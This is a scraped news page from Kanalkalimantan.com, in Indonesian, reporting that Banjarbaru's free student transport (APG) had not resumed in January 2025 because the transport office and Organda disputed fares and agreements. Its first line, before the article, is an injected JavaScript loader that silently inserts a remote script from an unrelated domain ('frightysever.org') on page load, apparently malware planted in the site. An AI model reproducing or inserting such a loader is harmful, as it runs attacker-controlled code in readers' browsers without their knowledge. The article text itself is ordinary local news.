(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di pekan pertama anak-anak mulai turun ke sekolah awal tahun 2025.
Sejumlah penawaran dan permintaan baik dari pemilik APG anggota Organisasi Angkutan Darat (Organda) Kota Banjarbaru maupun dari Dinas Perhubungan (Dishub) Kota Banjarbaru belum ada titik temu.
Salah satunya ada pembahasan antara Dishub Banjarbaru dan Organda Banjarbaru terkait perincian terkait Kerangka Acuan Kerja (KAK) hingga draft Perjanjian Kerja Sama (PKS).
Kadishub Banjarbaru Muhammad Mirhansyah menjelaskan, sejak Oktober 2024 lalu, pihaknya meminta Organda Banjarbaru menyusun draft PKS untuk program Angkutan Pelajar Gratis.
Baca juga: Empat Pemohon Gugatan Pilwali Banjarbaru di MK
Belum ada MoU antara Pemerintah Kota Banjarbaru dengan Organda menjadi masalah sebab MoU menjadi syarat untuk melaksanakan PKS.
“Salah satu kendala utama adalah belum ada perincian yang jelas terkait biaya operasional angkutan, tarif yang diusulkan per unit angkutan pelajar adalah Rp 170.000 per hari,” ujar Kadishub Banjarbaru Muhammad Mirhansyah.
Namun, setelah ada koreksi dan permintaan penjelasan lebih lanjut mengenai rincian biaya tersebut, Organda Banjarbaru mengusulkan kenaikan tarif menjadi Rp 180.000 per unit per hari.
Baca juga: Tak Ada Gugatan di MK, Yamin-Ananda Sah Wali Kota dan Wakil Wali Kota Banjarmasin 2025-2030
Dishub Banjarbaru kemudian meminta Organda untuk lebih jelas dalam merinci tarif dan biaya yang diperlukan, agar dapat dipertimbangkan oleh tim evaluasi oleh Bappeda, Inspektorat, dan Bagian Hukum.
Kemudian pada pertemuan terakhir yang digelar pada 24 Desember 2024, Pemko Banjarbaru menawarkan solusi sementara agar angkutan pelajar tetap berjalan.
Pemko Banjarbaru meminta Organda untuk tetap melayani angkutan reguler yang sudah ada, sementara perpanjangan APG dibahas lebih lanjut setelah MoU selesai.
Adapun dalam perpanjangan APG, Dishub Banjarbaru memberikan penawaran agar penumpang APG Organda ini diprioritaskan adalah anak-anak kurang mampu dan putus sekolah.
“Kami juga meminta agar anak-anak dari keluarga tidak mampu atau yang putus sekolah menjadi prioritas dalam program APG,” tambah dia.
Baca juga: Angkutan Pelajar Gratis Tak Lagi Layani Sekolah di Banjarbaru, Ini Penyebabnya
Terkait dengan hal itu juga kata Mirhan, pihaknya melaksanakan pertemuan lanjutan dengan pihak sekolah dan Dinas Pendidikan dijadwalkan pada 9 Januari 2025 kemarin untuk memfinalisasi data anak-anak yang berhak mendapatkan fasilitas APG.
“Data tersebut akan digunakan untuk memetakan jalur angkutan yang tepat, serta menentukan berapa banyak armada yang dibutuhkan untuk mengakomodasi siswa-siswa yang berhak menerima subsidi angkutan tersebut,” tegasnya.
Namun ternyata penawaran-penawaran Dishub Banjarbaru sempat ditentang oleh Organda Banjarbaru.
Sementara itu, Ketua DPC Organda Banjarbaru Helvin Diansin menjelaskan bahwa pada dasarnya APG ini telah digunakan sejak masa kepemipinan Wali Kota sebelumnya, dengan tujuan utama mengurangi anak-anak menggunakan sepeda motor ke sekolah.
Baca juga: Sidang Gugatan Pilwali Banjarbaru: KPU RI Ambil Alih, Pemilihan Diulang Lawan Kotak Kosong
“Namun Kadis yang baru memaknai penggunaan APG akan didasarkan taraf hidup, jadi anak-anak yang mampu tidak boleh naik angkot, malah itu akhirnya mempermudah anak-anak lagi untuk menaiki sepeda motor itu kekhawatiran saya,” ujar Helvin Diansin, Kamis (9/1/2025).
Di sisi lain peminat APG ini pun katanya bahkan melebih batas sampai pihaknya sempat meminta penambahan unit armada.
Beberapa titik APG anggota Organda belum beroperasi hingga hari ini adalah di SMPN 3, SMPN 8, SMPN 6, SMPN 10, SMPN 14, dan SMPN 15 Kota Banjarbaru.
Baca juga: Sahrujani-Hero Setiawan Ditetapkan sebagai Bupati dan Wabup HSU 2025-2030
Helvin mengatakan bahwa pihak sekolah kesulitan dengan tidak beroperasinya APG Organda ini. Kendati demikian ia mengaku tak bisa berbuat sebab keputusan belum didapati bersama Dishub.
“Kepala sekolah SMPN 8, SMPN 15, dan SMPN 10 menelpon menanyakan kapan mulai jalan APG kita. Saya bilang saya tidak bisa memutuskan, kita tunggu Dishub terkait kapan dimulainya kembali beroperasi,” tandas Helvin. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM - Liburan panjang akhir bulan jadi momen yang dinanti-nantikan oleh banyak orang. Saat itu,… Read More
Hanya Perlu 1 Suara untuk Menang pada Pilwali Banjarbaru 2024 Read More
KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More
This website uses cookies.